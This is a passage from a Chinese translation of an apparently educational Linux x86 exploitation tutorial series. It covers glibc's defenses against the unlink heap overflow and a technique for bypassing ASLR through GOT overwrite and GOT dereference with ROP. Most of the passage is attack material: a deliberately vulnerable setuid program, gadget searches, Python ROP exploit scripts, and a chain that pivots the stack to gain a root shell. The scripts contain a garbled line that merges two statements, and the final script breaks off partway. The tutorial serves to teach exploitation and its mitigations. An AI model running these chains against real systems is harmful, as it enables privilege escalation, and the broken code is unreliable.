sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp
$ ls
cmd exp exp.c vuln vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$

保护: 现如今,’glibc malloc’经过许多年的发展已经被强化了(hardened),unlink已经技术无法成功执行。为了防御unlink技术带来的堆溢出,’glibc malloc’加入了下面的检查:

  • 两次释放(Double Free): 释放已经处于空闲状态的chunk是禁止的。当攻击者试图将’second’ chunk的大小覆盖为-4, 其PREV_INUSE位被复位,意味着’first’已经处于空闲状态。这时’glibc malloc’会抛出一个两次释放错误。
1
2
3
4
5
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
  • 无效的next size: 下一个chunk的大小介于8字节与arena的总系统内存之间。当攻击者试图将’second’ chunk的大小覆盖为-4,’glibc malloc’会抛出一个无效的next size错误
1
2
3
4
5
6
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}
  • 损坏的双链表: 前一个chunk的fd和下一个chunk的bk必须指向当前被unlinked的chunk。当攻击者分别将fd和bk覆盖为-12与shellcode地址, free和(shellcode地址+8)没有指向当前被unlinked的chunk(‘second’)。 ‘glibc malloc’会抛出一个损坏的双链表错误.
1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);

注意:为了更好的演示,漏洞程序在编译的时候没有添加以下保护机制:

ASLR
NX
RELRO(ReLocation Read-Only)

参考

vudo malloc tricks


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Unlink堆溢出)》与作者信息:CSysSec出品

绕过ASLR-第三篇章(GOT覆盖与GOT解引用)


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-绕过ASLR-第三篇章(GOT覆盖与GOT解引用)


  • 0X01 什么是GOT覆盖
  • 0X02 什么是GOT解引用
  • 0X03 什么是ROP
  • 0X04 什么是gadgets
  • 0X05 如何在可执行文件中找出合适的gadgets
  • 0X06 利用ROP做到GOT覆盖
  • 0X07 利用ROP做到GOT解引用
  • 0X08 ROP gadget人工搜索

阅读基础:
经典栈缓冲区溢出
绕过ASLR-第一篇章(return-to-plt)
VM Setup: Ubuntu 12.04(x86)

在这篇文章中,我们来看看如何利用GOT覆盖与GOT解引用技术来绕过共享库的随机化。正如在第一篇章提到的那样,尽管可执行文件没有必需的PLT存根代码,攻击者也能利用GOT覆盖和GOT解引用技术来绕过ASLR。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main (int argc, char **argv) {
char buf[256];
int i;
seteuid(getuid());
if(argc < 2) {
puts("Need an argument\n");
exit(-1);
}
strcpy(buf, argv[1]);
printf("%s\nLen:%d\n", buf, (int)strlen(buf));
return 0;
}

编译命令

1
2
3
4
5
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意

  • system@PLT并没有出现在我们的可执行文件’vuln’中
  • 字符串”sh”也没有出现在我们的可执行文件’vuln’中

0X01 什么是GOT覆盖

这项技术可以帮助攻击者利用另一个libc函数的地址来覆盖一个特定libc函数的GOT表项。举个例子,GOT[getuid]含有getuid的函数地址(在第一次调用之后),当偏移差(offset difference)添加到GOT[getuid]表项时,它可以被execve的函数地址覆盖。我们已经知道,在共享库中,函数从基地址的偏移总是一个常量。因此,如果我们将两个libc函数(execve与getuid)的偏移差添加到getuid的GOT表项中,我们就可以获取execve函数的地址。之后,就可以通过调用getuid来调用execve!!

offset_diff = execve_addr - getuid_addr
GOT[execve] = GOT[getuid] + offset_diff

0X02 什么是GOT解引用

这和GOT覆盖技术类似,但并不是覆盖一个特定libc函数的GOT表项,而是将GOT表项中的值拷贝到一个寄存器中并将偏移差添加到寄存器的内容中。因此现在寄存器就有了必需的libc函数地址。举个例子,GOT[getuid]含有getuid的函数地址,函数地址被拷贝到一个寄存器中。两个libc函数(execve与getuid)的偏移差添加到寄存器的内容中。现在可以跳转到寄存器的值中来调用execve!

offset_diff = execve_addr - getuid_addr
eax = GOT[getuid]
eax = eax + offset_diff

这两种技术看起来很类似,但在运行期间出现缓冲区溢出时如何操作它们呢? 我们需要识别出一个函数(用来执行这些运算并将结果放入寄存器中),然后跳转到那个特定的函数来做到GOT覆盖/GOT解引用。 显然的是,在libc与我们的可执行文件中并没有一个单独的函数专门来做这件事!! 这种情况下,我们就要利用ROP技术了。

0X03 什么是ROP

虽然没有一种直接了当的方法,ROP可以帮助攻击者一旦获取调用栈的控制权后,就可以执行构造好的机器指令来达到自己的目的
。举个例子,在return-to-libc攻击中,我们用system()的地址覆盖返回地址来执行system()。但如果system函数(以及execve函数簇)从libc共享库中脱离,攻击中就不能获取root shell。在这种情况下,ROP就可以用来拯救攻击者了。利用ROP技术,尽管在没有任何必需的libc函数的情况下,攻击者也可以执行一系列的gadgets来模拟必需的libc函数。

0X04 什么是gadgets

gadgets是以’ret’指令结尾的一串指令。攻击中利用一个gadget地址来覆盖返回地址,这个gadget中含有与system()前几个汇编指令类似的汇编指令串。因此,返回到这个gadget地址就能执行system()的一部分功能。system()剩余的功能可以通过返回到其它的gadget中来完成。利用这种方法,链接一系列gadgets就能完整模拟system()的功能。因此,就算system()被脱离,也能照样被执行!

0X05 如何在可执行文件中找出合适的gadgets

事实证明,可以利用gadget工具。有许多工具(比如ropeme,ROPgadget,rp++)可以帮助攻击者在二进制文件中找出gadgets。这些工具的基本思想都是找出’ret’指令,然后往回找出一系列有用的机器指令。

在我们的例子中,我们不必去利用ROP gadgets来模拟任何libc函数的功能。取而代之的是,我们需要覆盖一个libc函数的GOT表项或者保证任一的寄存器指向一个libc函数地址。让我们来看看如何利用ROP gadgets来实现GOT覆盖与GOT解引用吧!

0X06 利用ROP做到GOT覆盖

-Gadget 1: 首先我们需要一个gadget将偏移差添加到GOT[getuid]中。因此,我们要找出一个add gadget用来将结果拷贝到内存区域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
...
$

太棒了! 我们找到了一个’add gadget’用来将结果拷贝到内存区域!
现在,如果我们EBX中含有GOT[getuid]-0x5d5b04c4, EAX中含有偏移差,我们就可以执行GOT覆盖了!

-Gadget 2: 确保EBX中含有getuid的GOT表项。getuid的GOT表项(如下所示)位于0x8041004处。因此,EBX必须要读入0x804a004, 但是在add gadget中一个常量(0x5d5b04c4)添加到了EBX中,我们就从EBX中减去那个常量: ebx =0x804a004 -0x5d5b04c4 = 0xaaa99b40。 现在我们需要找到一个gadget用来将这个值(0xaaa99b40)拷贝到EBX寄存器中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ objdump -R vuln
vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT printf
0804a004 R_386_JUMP_SLOT getuid
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

太棒了! 我们找到一个’pop gadget’! 因此,在将值(0xaaa99b40)push到栈中之后,再返回到“pop EBX”指令,EBX中就有了0xaaa99b40.

-Gadget 3: 确保EAX含有偏移差。 我们需要找到一个gadget将偏移差拷贝到EAX寄存器中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ gdb -q vuln
...
(gdb) p execve
$1 = {} 0xb761a1f0
(gdb) p getuid
$2 = {} 0xb761acc0
(gdb) p/x execve - getuid
$4 = 0xfffff530
(gdb)
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080484a3: popl %ebp ; ret ; (1 found)
0x080485cf: popl %ebp ; ret ; (1 found)
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

因此,只要将偏移差(0xfffff530)push到栈中,然后返回到“pop EAX”指令,就能将偏移差拷贝到EAX中。但不幸的是,在我们的二进制文件‘vuln’中并不能找到’pop % eax; ret’ gadget。因此,GOT覆盖就变得不可能了。

栈布局: 下图描绘了利用gadget链接来做到GOT覆盖




0X07 利用ROP做到GOT解引用

-Gadget 1: 首先,我们需要一个gadget来讲偏移差添加到GOT[getuid]中,结果需要加载到寄存器中。因此,我们来找出一个’add gadget’将结果拷贝到寄存器中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
166 found.
A total of 166 gadgets found.
...
0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found)
0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
...
$

太棒了,我们找到了一个’add gadget’用来将结果拷贝到寄存器中!现在,如果我们将EBX含有GOT[getuid]+0xb8a0008,EAX含有偏移差,就可以成功执行GOT解引用了!

-Gadget 2: 正如在GOT覆盖那样,我们已经在可执行文件’vuln’中找到了’pop %ebx;ret’ gadget。

-Gadget 3: 正如在GOT覆盖那样,可执行文件’vuln’中找不到’pop %eax’ret’ gadget。

-Gadget 4: 通过调用寄存器来调用execve函数。因此我们需要一个’call *eax’ gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found)
0x080484cf: calll *%eax ; (1 found)
0x0804860b: calll *%eax ; (1 found)
...
$

太棒了!我们找到了’call *eax’ gadget。 但仍然无法找到gadget 3 ‘pop %eax’ret’ ,GOT解引用依然变得不可能。

栈布局: 下图描绘了利用gadget链接来做到GOT解引用




在似乎没有找到其他方法的时候(至少当我开始学习ROP的时候), Reno教我利用人工ROP gadget搜索来达成目的。多谢! 继续阅读下去吧!

0X08 ROP gadget人工搜索

既然ROP gadget工具无法找到’pop eax’ret’ gadget, 我们就试试人工搜索方法来看看是否有任何有趣的gadgets能帮助我们将偏移差拷贝到EAX寄存器中。

使用下面命令反汇编’vuln’二进制文件

$objdump -d vuln > out

-Gadget 4: 将偏移差(0xfffff530)加载到EAX寄存器。反汇编中可以看到,一条mov指令可以将栈中的内容拷贝到EAX中。

1
2
3
4
5
6
7
8
9
10
11
12
80485b3: mov 0x34(%esp),%eax
80485b7: mov %eax,0x4(%esp)
80485bb: call *-0xe0(%ebx,%esi,4)
80485c2: add $0x1,%esi
80485c5: cmp %edi,%esi
80485c7: jne 80485a8 <__libc_csu_init+0x38>
80485c9: add $0x1c,%esp
80485cc: pop %ebx
80485cd: pop %esi
80485ce: pop %edi
80485cf: pop %ebp
80485d0: ret

但看起来’ret’(0x80485d0)离这条指令(0x80485b3)很远。因此这里主要的挑战就是在执行’ret’之前,EAX的内容没有被修改。

未被修改的EAX: 我们来看看如何做到在执行’ret’之前,EAX不被修改。这里有条call指令(0x80485bb),所以找出一种方法加载EBX与ESI以便让call指令调用一个不修改EAX的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0804861c <_fini>:
804861c: push %ebx
804861d: sub $0x8,%esp
8048620: call 8048625 <_fini+0x9>
8048625: pop %ebx
8048626: add $0x19cf,%ebx
804862c: call 8048450 <__do_global_dtors_aux>
8048631: add $0x8,%esp
8048634: pop %ebx
8048635: ret
08048450 <__do_global_dtors_aux>:
8048450: push %ebp
8048451: mov %esp,%ebp
8048453: push %ebx
8048454: sub $0x4,%esp
8048457: cmpb $0x0,0x804a028
804845e: jne 804849f <__do_global_dtors_aux+0x4f>
...
804849f: add $0x4,%esp
80484a2: pop %ebx
80484a3: pop %ebp
80484a4: ret

_fini调用了_do_global_dtors_aux, 这里当我们将内存区域0x804a028设置为0x1时,EAX不会被修改。

那EBX与ESI中应该是什么值才能调用_fini呢?

  • 1.首先,我们需要找到一个含有_fini(0x804861c)地址的内存区域。 如下所示,内存地址0x8049f3x中含有_fini的地址
1
2
3
0x8049f28 : 0x00000001 0x00000010 0x0000000c 0x08048354
0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac
0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c
  • 2.将ESI设置为0x01020101.采用这个值,那是因为我们不能让ESI中为0x0,而这时一个strcpy漏洞代码,0是个不好的字符! 另外,我们要确保存储在EBX中的结果值也不能是0!
    1. 将EBX设置为下面的值
1
2
3
ebx+esi*4-0xe0 = 0x8049f3c
ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0
ebx = 0x3fc9c18

这样一来,我们发现要调用_fini,就需要确保EBX和ESI中必须分别加载0x3fc9c18与0x01020101

-Gadget 5: 加载0x3fc9c18到EBX中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

-Gadget 6: 加载0x01020101到ESI,加载0x01020102到EDI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
135 found.
A total of 135 gadgets found.
...
0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found)
0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found)
...
$

-Gadget 7: 将0x1拷贝到内存区域0x804a028中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
183 found.
A total of 183 gadgets found.
...
0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found)
...
$

现在,我们已经完成了gadget搜索! 我们开始这个游戏吧!

Gadget搜索总结:

  • 要成功调用gadget 1,我们需要gadget 2和3
  • 由于没有gadget 3,我们做了人工搜索并找出了gadget 4,5,6和7.
    • 要成功调用gadget4,我们需要gadget 5,6和7

漏洞利用代码:下面的漏洞利用代码用execve函数地址覆盖了GOT[getuid]!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import struct
from subprocess import call
'''
G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
G3: 0x????????: popl %eax ; ret ; (NOT found)
G4: 0x080485b3: mov 0x34(%esp),%eax...
G5: 0x08048380: pop ebx ; ret ;
G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
G7: 0x08048498: movb $0x1,0x804a028...
'''
g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530
#endianess convertion
def conv(num):
return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...
for num in range(0,11):
buf += conv(dummy)
buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
buf += "B" * 4
print "Calling vulnerable program"
call(["./vuln", buf])

执行上面的漏洞利用代码会生成一个core文件。打开core文件,可以看到GOT[getuid]被execve函数地址覆盖了(如下所示)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python oexp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����BBBB
Len:376
sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done.
(gdb) core-file core
[New LWP 18781]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/1xw 0x804a004
0x804a004 <getuid@got.plt>: 0xb761a1f0
(gdb) p getuid
$1 = {} 0xb761acc0
(gdb) p execve
$2 = {} 0xb761a1f0
(gdb)

太棒了,我们已经成功利用execve函数地址覆盖了getuid的GOT表项。因此从现在开始,任意对getuid的调用都会调用execve~~

触发 root shell: 我们的漏洞利用代码还不完整。我们只执行了GOT覆盖但还没有触发root shell。 为了触发一个root shell, 将下面的libc函数(以及它们的参数)拷贝到栈中

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

这里

  • setuid@PLT - setuid的plt代码地址(0x80483c0)
  • getuid@PLT - getuid的plt代码地址(0x80483b0)。 由于已经执行了GOT覆盖,这里会调用execve函数
  • setuid_arg必须为0才能获取root shell
  • execve_arg1 - 文件名 - 字符串“/bin/sh”的地址
  • execve_arg2 - argv - 参数数组的地址,内容为[ “/bin/sh”的地址, NULL]
  • execve_arg3 - envp - NULL

在这篇文章中,由于我们没有直接用0来溢出缓冲区(0是个不好的字符), 我们利用strcpy调用链拷贝0用来替代setuid_arg。反由于栈是被随机化的,这种方法在这里并不可行, 找出setuid_arg栈的地址变得困难起来。

如何绕过栈地址随机化

可以利用自定义栈和栈旋转(stack pivoting)技术做到!

什么是自定义栈

自定义栈就是被攻击者控制的栈区域。攻击者拷贝libc函数链以及相应的参数来绕过栈随机化。由于攻击者进程的选择任意非位置独立(non position independent)并可写的内存区域作为自定义栈。在我们的二进制文件’vuln’中,可写并非位置独立的内存区域是从0x804a000到0x804b000(如下所示)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cat /proc//maps
08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
b7e21000-b7e22000 rw-p 00000000 00:00 0
b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0
b7fdb000-b7fdd000 rw-p 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
$

含有.data和.bss段的内存区域可以用来当做自定义栈。我将自定义站的位置选为0x804a360.

选择选择好自定义栈位置后,我们需要拷贝libc函数链以及相应的参数到自定义栈中。在我们的例子中,将下面的libx函数(以及相应的参数)拷贝到自定义栈中,以用来触发root shell。

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

为了将这些内容拷贝到自定义栈,我们需要利用一系列strcpy调用来覆盖真实栈中的返回地址。比如,为了将seteuid@PLT (0x80483c0)拷贝到自定义栈中,我们需要

  • 四个strcpy调用- 每个十六进制值分别有一个strcpy调用(0x08, 0x04, 0x83, 0xc0)
    - strcpy的源参数必须是含有必需的十六进制值的可执行内存区域的地址。另外我们需要确保选择的内存区域的值不能被修改
  • strcpy的目的参数必须是自定义栈的地址

遵守以上原则,我们可以设置完整的自定义栈。一旦设置好了自定义栈,我们需要利用栈旋转技术(stack pivoting)将真实栈移到自定义栈中

什么是栈旋转

栈旋转可以利用’leave ret’指令来做到。我们已经知道“leave”被翻译为

mov ebp, esp
pop ebp

因此,在执行”leave“指令之前,将自定义栈的地址加载到EBP中–当“leave”执行后,将ESP指向EBP! 这样就已经旋转了自定义栈,我们继续执行加载到自定义栈中的一系列libc函数,就可以触发root shell了。

完整漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#GOT overwrite using ROP gadgets
'''
G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
G3: 0x????????: popl %eax ; ret ; (NOT found)
G4: 0x080485b3: mov 0x34(%esp),%eax...
G5: 0x08048380: pop ebx ; ret ;
G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
G7: 0x08048498: movb $0x1,0x804a028...
'''
g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530
#Custom Stack
#0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3
cust_esp = 0x804a360 #Custom stack base address
cust_base_esp = 0x804a360 #Custom stack base address
#seteuid@PLT 0x80483c0
seteuid_oct1 = 0x8048143 #08
seteuid_oct2 = 0x8048130 #04
seteuid_oct3 = 0x8048355 #83
seteuid_oct4 = 0x80481cb #c0
#getuid@PLT 0x80483b0
getuid_oct1 = 0x8048143 #08
getuid_oct2 = 0x8048130 #04
getuid_oct3 = 0x8048355 #83
getuid_oct4 = 0x80483dc #b0
#seteuid_arg 0x00000000
seteuid_null_arg = 0x804a360
#execve_arg1 0x804ac60
execve_arg1_oct1 = 0x8048143 #08
execve_arg1_oct2 = 0x8048130 #04
execve_arg1_oct3 = 0x8048f44 #AC
execve_arg1_oct4 = 0x804819a #60
#execve_arg2 0x804ac68
execve_arg2_oct1 = 0x8048143 #08
execve_arg2_oct2 = 0x8048130 #04
execve_arg2_oct3 = 0x8048f44 #AC
execve_arg2_oct4 = 0x80483a6 #68
#execve_arg3 0x00000000
execve_null_arg = 0x804a360
execve_path_dst = 0x804ac60 #Custom stack location which contains execve_path "/bin/sh"
execve_path_oct1 = 0x8048154 #/
execve_path_oct2 = 0x8048157 #b
execve_path_oct3 = 0x8048156 #i
execve_path_oct4 = 0x804815e #n
execve_path_oct5 = 0x8048162 #s
execve_path_oct6 = 0x80483a6 #h
execve_argv_dst = 0x804ac68 #Custom stack location which contains execve_argv [0x804ac60, 0x0]
execve_argv1_oct1 = 0x8048143 #08
execve_argv1_oct2 = 0x8048130 #04
execve_argv1_oct3 = 0x8048f44 #AC
execve_argv1_oct4 = 0x804819a #60
strcpy_plt = 0x80483d0 #strcpy@PLT
ppr_addr = 0x080485ce #popl %edi ; popl %ebp ; ret ;
#Stack Pivot
pr_addr = 0x080484a3 #popl %ebp ; ret ;
lr_addr = 0x08048569 #leave ; ret ;
#endianess convertion
def conv(num):
return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...
for num in range(0,11):
buf += conv(dummy)
buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
#Custom Stack
#Below stack frames are for strcpy (to copy seteuid@PLT to custom stack)
cust_esp += 4 #Increment by 4 to get past Dummy EBP.
